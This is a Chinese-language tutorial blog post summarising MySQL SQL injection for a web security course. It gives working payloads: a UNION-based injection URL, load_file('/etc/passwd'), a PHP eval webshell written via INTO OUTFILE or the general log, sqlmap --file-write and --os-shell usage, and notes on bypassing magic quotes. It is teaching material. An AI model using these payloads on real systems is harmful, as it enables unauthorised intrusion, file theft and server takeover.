IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> SQL注入总结 -> 正文阅读

[PHP知识库]SQL注入总结

? ? ?在本系列课程学习中,SQL注入漏洞将是重点部分,其中SQL注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关SQL注入的核心。同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。

1、信息收集

获取当前网站的操作系统

select @@version_complie_os;

获取数据库名

select database();

获取数据库用户

select user();

获取数据库版本

select version();

获取数据库路径

select @@datadir;

获取网站路径

https://www.jb51.net/hack/5782.html

在MySQL中如何使用LOAD_FILE()函数?(代码示例)-mysql教程-PHP中文网

2、数据注入

知识点:

1、在mysql5.0以上的版本中,mysql存在一个自带数据库information_schema,它是一个存储记录所有数据库名、表名、列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名和列名信息。可以手动打开数据库自己实操一下,加深理解。

2、数据库中符合"."代表下一级,如dvwa.user代表dvwa数据库下的user表

information_schema.schemata   记录所有数据库信息的表
information_schema.tables     记录所有表名信息的表
information_schema.columns    记录所有列名信息的表

例如普通的查询语句:

http://www.aaa.php?id=-1 union select 1,table_name from information_schema.tables where table_schema='dvwa'

该语句是向information_schema.tables表中,查table_schema字段等于'dvwa'的table_name字段内容,有点绕......还是看看实例吧。

这是一张user表的全部内容

下面是向user表中,查询Host字段等于%或localhost的User字段内容。

3、高权限注入

进行跨数据库查询

就一个权限问题而已,某些网站对应数据库用户权限只能查看某个数据库,而高权限数据库用户可以查看多个数据库,步骤和普通的注入差不多,这里不再赘述。

进行文件读取

利用条件

数据库为高权限用户
secure_file_priv可导入

查询语句:

show global variables like '%secure_file_priv%';
select @@secure_file_priv;

对应的情况

Value                说明
NULL                 不允许导入导出
/tmp                 只能在/tmp目录导入导出
空                   不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

在window系统下

采取这样的方式读文件,而不是这种C:\Users\zhang\Desktop\php\PHPTutorial\MySQL\data,因为\后加字符在编程语言中有特殊含义,例如c语言中\n是换行。

select load_file('C:/Users/zhang/Desktop/php/PHPTutorial/MySQL/data/1.txt');

在linux系统下

select load_file('/etc/passwd');

写webshell

into outfile写shell

利用条件

  • 知道网站的物理路径
  • 高权限数据库用户
  • secure_file_priv无限制
  • 网站路径有写入权限

原生SQL语句写shell:

select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/webshell.php';

sqlmap中可以如下操作:

sqlmap -u 'http://x.x.x.x/?id=x' --file-write='/Users/zhang/Desktop/1.txt' --file-dest='var/www/html/webshell.php'

一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。

日志文件写shell

利用条件

  • Web 文件夹宽松权限可以写入
  • Windows 系统下
  • 高权限运行 MySQL 或者 Apache

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

mysql> SHOW VARIABLES LIKE 'general%';
+------------------+---------------------------------+
| Variable_name    | Value                           |
+------------------+---------------------------------+
| general_log      | OFF                             |
| general_log_file | /var/lib/mysql/c1595d3a029a.log |
+------------------+---------------------------------+

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。

可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:

# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';

# 查看当前配置
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------+
| Variable_name    | Value                       |
+------------------+-----------------------------+
| general_log      | ON                          |
| general_log_file | /var/www/html/info.php |
+------------------+-----------------------------+

# 往日志里面写入 payload
select '<?php phpinfo();?>';

# 此时已经写到 info.php 文件当中了
root@c1595d3a029a:/var/www/html/$ cat info.php 
/usr/sbin/mysqld, Version: 5.5.61-0ubuntu0.14.04.1 ((Ubuntu)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
201031 21:14:46       40 Query    SHOW VARIABLES LIKE 'general%'
201031 21:15:34       40 Query    select '<?php phpinfo();?>

这里虽然可以成功写入,但是这个 info.php 是 MySQL 创建的 :

-rw-rw---- 1 mysql mysql 293 Oct 31 21:15 info.php

Apache 访问这个 php 文件会出现 HTTP 500 的状态码,结论是 root 系统这种情况基本上不会成功,只有在 Windows 系统下成功率会高一些,不过这里还是可以当做小知识点来学习记录。

--os-shell

本质上还是通过into outfile来写php文件,往服务器上写入了两个php,其中一个给我们提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。

详细请看sqlmap --os-shell 原理详解_ZredamanJ的博客-CSDN博客

--os-cmd

网上都说这个和前者的区别是不需要路径,但经过我的测试还是需要的。抓取数据包分析了一下,我感觉二者的区别就是后者只能执行单条命令,前者是进行交互执行命令,可以执行多条,相当于低配版的--os-shell。

--sql-shell

虽然这个和写webshell没什么关系,但是还得说说,这个只是通过sqlmap发送sql注入语句进行查询而已,相当于手工注入。

4、常见写入问题

魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同。

对于这种情况可以采取字符转十六进制绕过,如果编码方式是gbk的情况下,还可以采取宽字节注入绕过。

php中get_magic_quotes_gpc()函数详解-php教程-PHP中文网

5、int函数

对输入的东西进行判断是否为数字

if(is_int($id)){
	$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
	echo $sql;
	$result=mysql_query($sql);
}else{
	echo 'ni shi ge jj?';
}

参考文章?

MySQL 漏洞利用与提权 | 国光

SQLMAP怎么拿shell_Aim High的博客-CSDN博客_sqlmap拿shell

sqlmap --os-shell执行原理(mysql篇) - 小明-o3rr0r - 博客园 (cnblogs.com)

第十二天sql注入 · 语雀

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-04-30 08:30:23  更:2022-04-30 08:30:30 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 17:33:37-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码